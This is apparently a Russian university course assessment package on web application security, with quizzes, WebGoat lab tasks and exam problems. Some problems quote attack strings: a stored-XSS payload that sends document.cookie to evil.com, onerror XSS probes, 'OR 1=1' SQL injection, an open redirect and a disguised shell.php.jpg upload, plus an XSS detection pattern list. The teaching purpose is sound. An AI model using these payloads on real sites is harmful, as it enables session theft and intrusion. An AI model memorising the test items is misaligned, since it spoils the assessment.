1 Тестирование по результатам освоения лекционного материала и самостоятельной работы

Тестирование проводится для определения степени усвоения материалов лекций, а также выполнения самостоятельной работы в рамках часов, отведенных на самостоятельную работу обучающихся, в СУО
СибГИУ.

Раздел 1 Основы информационной безопасности веб-приложений

Вопрос 1. Как называется модель информационной безопасности, определяющая три ключевых свойства защищаемой информации?

A) CIA (Confidentiality, Integrity, Availability)

B) AAA (Authentication, Authorization, Accounting)

C) OSI (Open Systems Interconnection)

D) ARP (Address Resolution Protocol)

Вопрос 2. Что такое «поверхность атаки» (attack surface) веб-приложения?

A) Графический интерфейс пользователя

B) Совокупность всех точек входа, через которые злоумышленник может попытаться получить несанкционированный доступ

C) Список зарегистрированных пользователей

D) Площадь серверного помещения

Вопрос 3. Какой стандарт описывает 10 наиболее критических угроз безопасности веб-приложений?

A) ISO 27001

B) GDPR

C) OWASP Top 10

D) PCI DSS

Вопрос 4. Что из перечисленного является примером пассивной угрозы информационной безопасности?

A) SQL-инъекция

B) DDoS-атака

C) Перехват трафика (сниффинг)

D) Межсайтовый скриптинг (XSS)

Вопрос 5. Что означает аббревиатура SDLC в контексте разработки ПО?

A) Software Development Life Cycle – жизненный цикл разработки программного обеспечения

B) Secure Data Link Control – протокол защиты канала данных

C) System Deployment Layer Control – управление слоем развёртывания

D) Software Detection Logic Check – проверка логики обнаружения ПО

Вопрос 6. Какой тип SQL-инъекции не возвращает данные непосредственно в ответе сервера, а выявляется по косвенным признакам?

A) Union-based

C) Error-based

B) Blind SQL-инъекция

D) Stacked queries

Вопрос 7. При XSS-атаке типа Stored (хранимый XSS) вредоносный скрипт:

A) Передаётся только через URL-параметр и не сохраняется

B) Сохраняется в базе данных и выполняется у всех пользователей, просматривающих заражённую страницу

C) Внедряется только в DOM браузера без обращения к серверу

D) Выполняется исключительно на стороне сервера

Вопрос 8. Какой инструмент предназначен для статического анализа исходного кода с целью выявления уязвимостей?

A) Nmap

B) Wireshark

C) SonarQube

D) Metasploit

Вопрос 9. Что такое принцип «минимальных привилегий» (Principle of Least Privilege)?

A) Пользователи и процессы должны иметь только те права доступа, которые необходимы для выполнения их задач

B) Администратор должен иметь минимальный пароль

C) Приложение должно использовать минимальное количество сторонних библиотек

D) Сервер должен обрабатывать минимальное количество запросов

Вопрос 10. Метод разработки DevSecOps предполагает:

A) Полное исключение разработчиков из процессов безопасности

B) Проверку безопасности только после завершения разработки

C) Интеграцию практик безопасности на каждом этапе цикла разработки и эксплуатации

D) Использование только открытого исходного кода

Вопрос 11. Выберите все утверждения, соответствующие триаде CIA:

A) Конфиденциальность – защита данных от несанкционированного доступа

B) Целостность – обеспечение неизменности и достоверности данных

C) Анонимность – сокрытие личности пользователя

D) Доступность – гарантия доступа к ресурсам для авторизованных пользователей

E) Аутентификация – проверка подлинности пользователя

Вопрос 12. Какие из перечисленных методов относятся к мерам предотвращения SQL-инъекций?

A) Использование параметризованных (подготовленных) запросов

B) Хранение паролей в открытом виде

C) Применение ORM-фреймворков

D) Валидация и фильтрация пользовательского ввода

E) Отключение брандмауэра

Вопрос 13. Выберите категории злоумышленников, классифицируемые по мотивации:

A) Хактивисты (идеологические мотивы)

B) Киберпреступники (финансовая выгода)

C) Инсайдеры (внутренние сотрудники)

D) Антивирусные программы

E) Государственные спецслужбы (шпионаж)

Вопрос 14. Какие инструменты используются для OSINT-разведки веб-приложений?

A) Shodan

B) theHarvester

C) SonarQube

D) Maltego

E) Jenkins

Вопрос 15. Выберите все типы XSS-атак:

A) Reflected XSS

B) Stored XSS

C) DOM-based XSS

D) Blind XSS

E) Union-based XSS

Вопрос 16. Установите соответствие между терминами и их определениями:

Конфиденциальность	Защита информации от несанкционированного ознакомления
Целостность	Гарантия того, что данные не были изменены несанкционированно
Доступность	Обеспечение доступа к ресурсам для авторизованных пользователей в нужное время
Аутентификация	Процесс проверки подлинности пользователя или системы

Вопрос 17. Установите соответствие между типами атак и их описаниями:

SQL-инъекция	Внедрение вредоносного SQL-кода через пользовательский ввод
XSS (Reflected)	Вредоносный скрипт отражается сервером в ответе на запрос пользователя
XSS (Stored)	Скрипт сохраняется в БД и выполняется при каждом просмотре страницы
CSRF	Злоумышленник вынуждает браузер жертвы выполнить нежелательный запрос

Вопрос 18. Установите соответствие между инструментами и их назначением:

Nmap	Сканирование портов и обнаружение сетевых сервисов
SonarQube	Статический анализ исходного кода
Wireshark	Перехват и анализ сетевого трафика
OWASP ZAP	Автоматизированный поиск уязвимостей в веб-приложениях

Вопрос 19. Установите соответствие между уязвимостями и методами защиты:

SQL-инъекция	Параметризованные запросы / ORM
XSS	Экранирование вывода + Content-Security-Policy
Перехват сессии	HttpOnly и Secure флаги для cookie
Незащищённые данные	Шифрование AES-256 / TLS

Вопрос 20 Установите соответствие между стандартами безопасности и их областью применения:

OWASP Top 10	Классификация критических уязвимостей веб-приложений
OWASP ASVS	Детальные требования к безопасности приложений по уровням
ISO/IEC 27001	Управление информационной безопасностью организации
PCI DSS	Безопасность платёжных карточных данных

Вопрос 21. Как называется методология внедрения безопасности в процесс разработки и эксплуатации ПО? (одно слово)

Вопрос 22. Какой специальный символ является стандартным маркером начала SQL-комментария в большинстве СУБД? (1–2 символа)

Вопрос 23. Как называется процесс проверки и очистки данных, полученных от пользователя, перед их обработкой приложением? (одно слово)

Вопрос 24. Как называется стандарт оценки уязвимостей, присваивающий числовую оценку критичности от 0 до 10? (аббревиатура)

Вопрос 25. Как называется файл на сервере, в котором разработчик указывает поисковым роботам, какие страницы не нужно

индексировать, и который часто раскрывает скрытые директории? (формат: название файла с расширением)

Раздел 2 Технологии защиты и аудит безопасности веб-приложений

Вопрос 1. Что такое JWT (JSON Web Token)?

A) Тип базы данных для хранения сессий

B) Компактный, URL-безопасный формат для передачи утверждений между сторонами в виде JSON-объекта, защищённого подписью

C) Протокол шифрования файловой системы

D) Расширение браузера для проверки безопасности

Вопрос 2. Из каких трёх частей состоит JWT-токен?

A) Header (заголовок), Payload (полезная нагрузка), Signature (подпись)

B) Login, Password, Token

C) Public Key, Private Key, Certificate

D) Method, URL, Body

Вопрос 3. Какой протокол обеспечивает защищённую передачу данных через интернет, используя асимметричное шифрование при установке соединения?

A) HTTP

B) FTP

C) TLS (Transport Layer Security)

D) SMTP

Вопрос 4. Что такое атака типа «повышение привилегий» (Privilege Escalation)?

A) Подбор пароля методом перебора

B) Получение злоумышленником более высоких прав доступа, чем ему разрешено

C) Перехват сессионного токена

D) Внедрение вредоносного кода в SQL-запрос

Вопрос 5. Какой заголовок HTTP-ответа предписывает браузеру работать с сайтом только по HTTPS?

A) X-Content-Type-Options

B) X-Frame-Options

C) Strict-Transport-Security (HSTS)

D) Content-Type

Вопрос 6. Какие компоненты включает инфраструктура открытых ключей (PKI)?

A) Центр сертификации (CA)

B) Цифровые сертификаты

C) SQL-сервер

D) Центр регистрации (RA)

E) Список отзыва сертификатов (CRL)

Вопрос 7. Выберите все меры защиты от атак типа DoS/DDoS:

A) Ограничение частоты запросов (Rate Limiting)

B) Использование CDN и балансировщиков нагрузки

C) Фильтрация трафика с помощью WAF

D) Хранение паролей в открытом виде

E) Отключение HTTPS

Вопрос 8. Какие уязвимости в механизме аутентификации являются типичными?

A) Использование слабых паролей

B) Отсутствие ограничения на количество попыток входа

C) Использование HTTPS

D) Хранение паролей в открытом виде

E) Предсказуемые идентификаторы сессий

Вопрос 9. Что должен содержать профессиональный отчёт о тестировании на проникновение?

A) Описание выявленных уязвимостей

B) Оценку критичности по CVSS

C) Рекомендации по устранению уязвимостей

D) Исходный код всего приложения

E) Методологию тестирования и использованные инструменты

Вопрос 10. Какие алгоритмы относятся к асимметричному шифрованию?

A) RSA

B) AES

C) ECC (Elliptic Curve Cryptography)

D) 3DES

E) Diffie-Hellman

Вопрос 11. Установите соответствие между моделями контроля доступа и их описаниями:

DAC (Discretionary AC)	Владелец ресурса сам определяет права доступа к нему
MAC (Mandatory AC)	Доступ определяется системой на основе меток безопасности
RBAC (Role-Based AC)	Доступ предоставляется на основе ролей пользователей
ABAC (Attribute-Based AC)	Доступ определяется набором атрибутов субъекта и объекта

Вопрос 12. Установите соответствие между алгоритмами и типами шифрования:

AES-256	Симметричное шифрование
RSA-2048	Асимметричное шифрование
bcrypt	Хэширование паролей
SHA-256	Криптографическое хэширование (без соли)

Вопрос 13. Установите соответствие между частями JWT и их содержимым:

Header	Тип токена и алгоритм подписи (например, HS256)
Payload	Утверждения (claims): sub, exp, iat, роли пользователя
Signature	HMAC или RSA подпись для верификации токена
Разделитель	Символ «.» (точка), разделяющий три части токена

Вопрос 14. Установите соответствие между инструментами тестирования и их функциями:

Burp Suite	Перехват и модификация HTTP/HTTPS-запросов, активное сканирование
OWASP ZAP	Автоматизированный сканер уязвимостей с открытым исходным кодом
Nikto	Сканер веб-серверов для выявления устаревших версий и опасных файлов
sqlmap	Автоматизированный инструмент для обнаружения SQL-инъекций

Вопрос 15. Установите соответствие между типами сертификатов SSL/TLS и уровнем проверки:

DV (Domain Validated)	Подтверждается только право владения доменом
OV (Organization Validated)	Подтверждается организация, владеющая доменом
EV (Extended Validation)	Расширенная проверка организации, зелёная строка адреса
Wildcard-сертификат	Покрывает основной домен и все его поддомены (*.example.com)

Вопрос 16. Как называется атака, при которой злоумышленник занимает позицию между клиентом и сервером для перехвата трафика? (3 слова, аббревиатура)

Вопрос 17. Как называется токен, используемый для получения нового access-токена без повторной аутентификации? (2 слова)

Вопрос 18. Как называется процесс определения прав пользователя на выполнение определённых действий после успешной аутентификации? (одно слово)

Вопрос 19. Как называется инструмент Burp Suite, позволяющий автоматически перебирать значения параметров запроса? (одно слово)

Вопрос 20. Как называется флаг cookie, запрещающий доступ к ней через JavaScript? (одно слово)

Вопрос 21. Как называется механизм TLS, обеспечивающий невозможность дешифрования прошлых сеансов даже при компрометации долгосрочного ключа? (3 слова или аббревиатура)

Вопрос 22. Как называется стандарт безопасности для организаций, обрабатывающих данные платёжных карт? (аббревиатура)

Вопрос 23. Укажите максимальное значение базового балла CVSS v3.1. (цифра)

Вопрос 24. Как называется атака, при которой злоумышленник перегружает сервер незавершёнными HTTP-соединениями, удерживая их открытыми минимальным трафиком? (одно слово – название инструмента-атаки)

Вопрос 25. Как называется процесс анализа безопасности приложения в рабочем состоянии через автоматическое сканирование HTTP-запросов и ответов? (аббревиатура, 4 буквы)

2 Выполнение практических работ

Задания для практических работ, теоретический и методический материал для самостоятельного изучения и вопросы для собеседования представлены в методических указаниях к практическим занятиям.

Тема 1.1 Сбор информации о веб-приложении. Анализ поверхности атаки веб-приложения: идентификация точек входа и оценка рисков

Тема 1.2 Применение стандартов и чек-листов безопасности при анализе реального веб-приложения

Тема 1.3 Поиск уязвимостей к атакам SQL-инъекций и к атакам XSS методами

Тема 2.1 Тестирование защищённости и устойчивости веб-приложения

Тема 2.2 Анализ заголовков безопасности HTTP, политики CORS и CSP: выявление и документирование некорректных настроек

Тема 2.3 Анализ результатов аудита безопасности

3 Выполнение лабораторных работ

Задания для лабораторных работ, теоретический и методический материал для самостоятельного изучения и вопросы для собеседования представлены в методических указаниях к лабораторным работам.

Тема 1.1 Настройка тестовой среды для аудита безопасности

Установите VirtualBox и импортируйте готовый образ дистрибутива Linux. Установите Docker Desktop для Windows или Podman. Запустите контейнер OWASP WebGoat с помощью команды docker run -p 8080:8080 webgoat/goatandwolf. Убедитесь, что WebGoat доступен по адресу http://localhost:8080/WebGoat. Выполните первоначальную настройку браузера: установите расширение FoxyProxy и настройте ручной прокси для перехвата трафика через Burp Suite Community (бесплатная версия). Сделайте скриншот рабочей среды, на котором одновременно видны терминал Linux, запущенный контейнер и открытая страница WebGoat в браузере. Опишите последовательность выполненных действий и возникшие трудности.

Тема 1.2 Статический анализ кода веб-приложения

Получите фрагмент программного кода (на JavaScript с элементами PHP-подобного псевдокода), содержащий типовые уязвимости: использование eval() с пользовательским вводом, вызов document.write(location.hash), конкатенацию строк в SQL-запросе, отсутствие флага HttpOnly у cookie. Установите редактор VS Code и расширения ESLint и SonarLint. Выполните статический анализ предложенного кода. Найдите не менее трёх реальных проблем безопасности. Для каждой найденной уязвимости напишите пояснение: почему она опасна и к каким последствиям может привести. Предложите исправленный вариант кода, устраняющий обнаруженные уязвимости. Оформите отчёт по схеме «найдено → почему опасно → исправлено».

Тема 1.3 Защита от SQL-инъекций и от XSS

Запустите локальный экземпляр OWASP WebGoat. Перейдите к упражнению «SQL Injection (mitigation)» и выполните его, используя параметризованные запросы вместо конкатенации строк. Зафиксируйте разницу между уязвимым и защищённым кодом. Затем перейдите к упражнению «Cross Site Scripting» и примените экранирование вывода для нейтрализации вредоносных скриптов. Создайте отдельный HTML-файл с формой для ввода комментариев. Напишите на JavaScript функцию escapeHtml(text), которая заменяет символы <, >, &, ", ' на соответствующие HTML-сущности. Встройте эту функцию в обработчик отправки формы. Продемонстрируйте в браузере разницу: введите строку <script>alert('xss')</script> в уязвимую версию (без экранирования) и в защищённую. Сделайте скриншоты обоих случаев и приложите код функции.

Тема 2.1 Настройка аутентификации и ролевой модели контроля доступа

Создайте HTML-страницу с формой логина, содержащей поля «логин» и «пароль». Напишите JavaScript-код, который после нажатия кнопки «Войти» имитирует проверку учётных данных. Реализуйте две роли: «пользователь» (user) и «администратор» (admin). В зависимости от выбранной роли сгенерируйте и сохраните в localStorage учебный JWT-токен, содержащий информацию о роли. Создайте основную страницу приложения, на которой динамически отображаются разные элементы интерфейса в зависимости от роли: администратор видит панель управления, пользователь — только личный кабинет. Добавьте кнопку «Выход», которая очищает localStorage и возвращает на страницу логина. В отчёте объясните, почему на клиентской стороне нельзя доверять проверке прав доступа, и опишите, как следовало бы реализовать RBAC на сервере.

Тема 2.2 Использование HTTPS и SSL/TLS: получение сертификата, настройка защищённого соединения, анализ конфигурации

Установите утилиту certbot и получите тестовый сертификат от Let’s Encrypt в режиме отладки (используйте параметр --test-cert). Просмотрите содержимое полученного сертификата с помощью команды openssl x509 -in certificate.crt -text -noout. Проанализируйте любой реально работающий сайт с помощью онлайн-сервиса SSL Labs. Сделайте скриншот итогового отчёта. В браузере (вкладка «Безопасность» или «Security») определите версию TLS, используемый алгоритм шифрования и наличие заголовка HSTS. Запишите полученные значения. В письменном выводе объясните, почему протоколы TLS 1.0 и TLS 1.1, а также шифр RC4 считаются небезопасными. Сформулируйте минимальные требования к безопасной TLS-конфигурации веб-сервера.

Тема 2.3 Комплексное тестирование безопасности веб-приложения

Запустите локальный OWASP WebGoat. Выберите три различных задания, относящихся к разным категориям уязвимостей: нарушение контроля доступа (Broken Access Control), SQL-инъекция и межсайтовый скриптинг (XSS). Для каждого задания запустите Burp Suite Community, настройте перехват трафика и измените параметры запроса таким образом, чтобы добиться несанкционированного доступа или выполнения вредоносного кода. Зафиксируйте успешные атаки с помощью скриншотов. Для каждой из трёх найденных уязвимостей опишите: как именно была проведена атака; какие последствия она может иметь для реального веб-приложения; какие меры защиты следует применить разработчику. Оформите отчёт в структурированном виде: «Уязвимость → способ эксплуатации → последствия → рекомендации по защите».

4 Вопросы к экзамену для промежуточной аттестации

1 Что такое триада CIA в контексте информационной безопасности веб-приложений?

2 Перечислите основные источники угроз для веб-приложений и приведите примеры.

3 Что такое поверхность атаки (attack surface) и как её уменьшить?

4 Назовите категории злоумышленников и их типичную мотивацию.

5 Для чего используется стандарт OWASP Top 10 и как часто он обновляется?

6 Что такое DevSecOps и чем он отличается от традиционного SDLC?

7 Опишите механизм SQL-инъекции типа Error based.

8 В чём разница между Blind SQL инъекцией и Union based?

9 Какие методы защиты от SQL-инъекций считаются наиболее надёжными?

10 Что такое хранимая (Stored) XSS и чем она опаснее отражённой?

11 Как работает DOM based XSS и можно ли её обнаружить без серверного анализа?

12 Какие флаги cookie (HttpOnly, Secure, SameSite) за что отвечают?

13 Что такое повышение привилегий (privilege escalation) в веб-приложении?

14 Опишите модели управления доступом DAC, MAC и RBAC.

15 В чём отличие симметричного шифрования от асимметричного?

16 Для чего используется хэширование паролей и почему соль обязательна?

17 Какие версии TLS считаются устаревшими и почему?

18 Почему шифр RC4 запрещён к использованию в TLS?

19 Что такое заголовок Content-Security-Policy и от каких атак он защищает?

20 Какие инструменты используются для автоматизированного сканирования уязвимостей веб-приложений?

21 Что такое тестирование на проникновение (пентест) и какие этапы оно включает?

22 В чём разница между уязвимостью, эксплойтом и угрозой?

23 Что означает «ответственное раскрытие уязвимости» (responsible disclosure)?

24 Какие типы инъекций, кроме SQL, существуют?

25 Что такое CSRF и как защититься от неё?

5 Задачи к экзамену для промежуточной аттестации

Задача 1.

В консоли браузера вы видите, что сайт формирует запрос к серверу так: fetch('/users?id=' + userId). Если ввести в параметр id значение 1 OR 1=1, то возвращаются все пользователи. Как называется эта уязвимость (даже на клиенте)? Напишите безопасный JavaScript-код для формирования запроса, который не допускает подстановки.

Задача 2.

На форуме пользователь оставил комментарий: <script>document.location='http://evil.com/?c='+document.cookie</script>. Приложение сохранило этот комментарий в базу и выводит всем. Определите тип атаки, объясните, как злоумышленник украдёт cookie, и предложите меры защиты на клиенте и сервере (для сервера – общее описание).

Задача 3.

Вы выбираете алгоритм для хэширования паролей на сервере. Оцените варианты: MD5, SHA-256, bcrypt, Argon2. Какой из них устойчив к перебору и радужным таблицам? Обоснуйте выбор для веб-приложения на JavaScript (Node.js) или в целом.

Задача 4.

В ответе сервера приходит заголовок: Access-Control-Allow-Origin: *. API используется только для app.example.com. Объясните, почему * опасен (какие данные может украсть злоумышленник). Приведите пример безопасного заголовка для указанного домена.

Задача 5.

Администратор настроил сервер с поддержкой TLS 1.0, 1.1, 1.2, 1.3 и шифра RC4. Какие из этих версий и шифров считаются небезопасными в 2026 году? Как проверить настройки своего сайта с помощью онлайн-тестера (например, SSL Labs)?

Задача 6.

Напишите функцию escapeHtml(text), которая заменяет символы <, >, &, ", ' на HTML-сущности (<, >, &, ", '). Протестируйте её на строке <script>alert("xss")</script> – результат должен быть безопасен для вставки через innerHTML.

Задача 7.

Nmap показал открытые порты: 21 (FTP), 22 (SSH), 80 (HTTP), 443 (HTTPS), 3306 (MySQL), 8080 (HTTP). Для веб-сервера какой из этих портов лишний? Какие порты нужно закрыть на файерволе? Что опасного в FTP?

Задача 8.

Сайт позволяет загружать аватары. Злоумышленник загрузил файл shell.php.jpg. Сервер сохранил его и сделал доступным по прямой ссылке. Как может быть выполнена атака? Перечислите меры защиты: проверка MIME-типа на клиенте (JavaScript) не подходит, нужны серверные. На клиенте можно только предупредить, но не защитить – объясните почему.

Задача 9.

Напишите функцию isValidUsername(username), которая проверяет: длина от 3 до 20 символов, только латинские буквы, цифры и знак подчёркивания, не может начинаться с цифры, не входит в список запрещённых слов (например, admin, root, user). Функция возвращает true/false. Протестируйте в консоли с разными вариантами.Задача 13.

В коде на JavaScript (Node.js) используется: db.query("SELECT * FROM products ORDER BY " + userInput). Почему параметризованный запрос здесь не поможет? Как безопасно реализовать сортировку по вводимому пользователем полю? Предложите белый список допустимых значений для ORDER BY.

Задача 10.

В ответе сервера вы видите заголовки: Server: Apache/2.4.1 и X-Powered-By: PHP/5.6.40. Какие риски несёт раскрытие версий? Как скрыть эти заголовки (в конфигурации сервера и PHP)? Можно ли их проверить через консоль браузера (вкладка Network)?

Задача 11.

Пользователь A (ID=100) делает запрос /api/profile?id=101 и получает данные пользователя B. Как называется уязвимость (CWE-639)? Опишите, как злоумышленник может её найти через изменение параметра в адресной строке браузера. Предложите исправление.

Задача 12.

На тестовой HTML-странице создайте ссылку: Нажми. При нажатии выполняется код. Как называется этот тип XSS? Как защититься (какой атрибут или обработчик использовать вместо javascript:)?

Задача 13.

В консоли выполните localStorage.setItem('test', '<script>alert(1)</script>'), затем document.write(localStorage.getItem('test')). Что произойдёт? Как правильно извлекать данные из localStorage для вставки в DOM?

Задача 14.

Опишите безопасную архитектуру восстановления пароля («Забыли пароль?») без доступа к серверу – просто на уровне дизайна: как генерировать одноразовый токен (рандомная строка, срок жизни 15 минут), как хранить (в БД), как отправлять (email). Что делать, если пользователь открыл ссылку на другом устройстве? Напишите последовательность шагов.

Задача 15.

SSL Labs дал оценку B. Причины: TLS 1.0 включён, есть слабые шифры (RC4, 3DES), отсутствует HSTS. Для сервера nginx напишите директивы: ssl_protocols, ssl_ciphers, add_header Strict-Transport-Security. Проверить можно через консоль браузера – как увидеть HSTS в заголовках ответа?

Задача 16.

Составьте план аудита интернет-магазина (250 страниц, 3 роли, платёжный модуль). Перечислите этапы: сбор информации (браузер, консоль, вкладка Network), обнаружение уязвимостей (тесты на XSS, SQLi – только в учебных целях), использование инструментов (Burp Suite Community), составление отчёта. Какие страницы проверить в первую очередь (логин, регистрация, корзина)?

Задача 17.

Сайт выводит приветствие Добро пожаловать, + имя из параметра ?name=. Введите в адресную строку ?name=<img src=x onerror=alert(1)>. Если сработало – какая это XSS? Чем отличается от хранимой? Напишите функцию JavaScript, которая помогла бы экранировать?

Задача 18.

Напишите на JavaScript функцию isStrongPassword(password), которая проверяет: длина ≥12, есть хотя бы одна цифра, одна заглавная, одна строчная буква, один спецсимвол (например, !@#$%), и пароль не входит в список из 10 самых популярных (придумайте свой маленький список). Функция возвращает true/false. Протестируйте её в консоли браузера.

Задача 19.

Создайте HTML-страницу с кнопкой, которая вызывает eval(prompt('Введите выражение')). Введите alert(document.cookie). Объясните, почему eval несет угрозу. Замените код на безопасный.

Задача 20.

Откройте любую страницу, перейдите на вкладку Console, введите debugger;. Поставьте точку остановки. Как злоумышленник может использовать отладчик для обхода таймеров или изменения переменных? Сформулируйте шаги для предотвращения.

Задача 21.

Сайт передаёт в URL параметр ?return_url=//evil.com. При неудачной авторизации происходит редирект на этот URL. Как называется атака (open redirect)? Проверьте в консоли через new URL(return_url, location.href) на принадлежность к нужному домену.

Задача 22.

Перечислите три конкретных требования OWASP ASVS Level 2 для управления сессиями (раздел V3). Для каждого требования опишите, как проверить его выполнение на реальном сайте через консоль и вкладку Application.

Задача 23

Напишите функцию containsXSS(input), которая проверяет строку на наличие опасных паттернов: <script, javascript:, onerror=, onload=, <img, eval(, alert(. Возвращает true, если хотя бы один паттерн найден. Протестируйте на '<img src=x onerror=alert(1)>' и 'hello world'.

Задача 24.

Напишите функцию sanitizeFilename(filename), которая удаляет любые символы, кроме латинских букв, цифр, точки и дефиса, заменяет пробелы на подчёркивания, удаляет два и более подряд идущих расширения (например, file.php.jpg превращает в file.jpg). Возвращает безопасное имя. Протестируйте на 'shell.php.jpg', 'my file (1).png', '../config'.

Задача 25

Напишите функцию isAllowedRedirect(url, allowedDomains), которая принимает URL и массив разрешённых доменов (например, ['mysite.com', 'api.mysite.com']). Функция проверяет, что URL ведёт на один из этих доменов или является относительным путём (начинается с /). Возвращает true/false. Протестируйте с '//evil.com', '/profile', 'https://mysite.com'.

6 Оценивание обучающегося на зачете

Промежуточная аттестация производится на основе текущего контроля успеваемости при условии выполнения всех заданий в семестре, предусмотренных рабочей программой по дисциплине.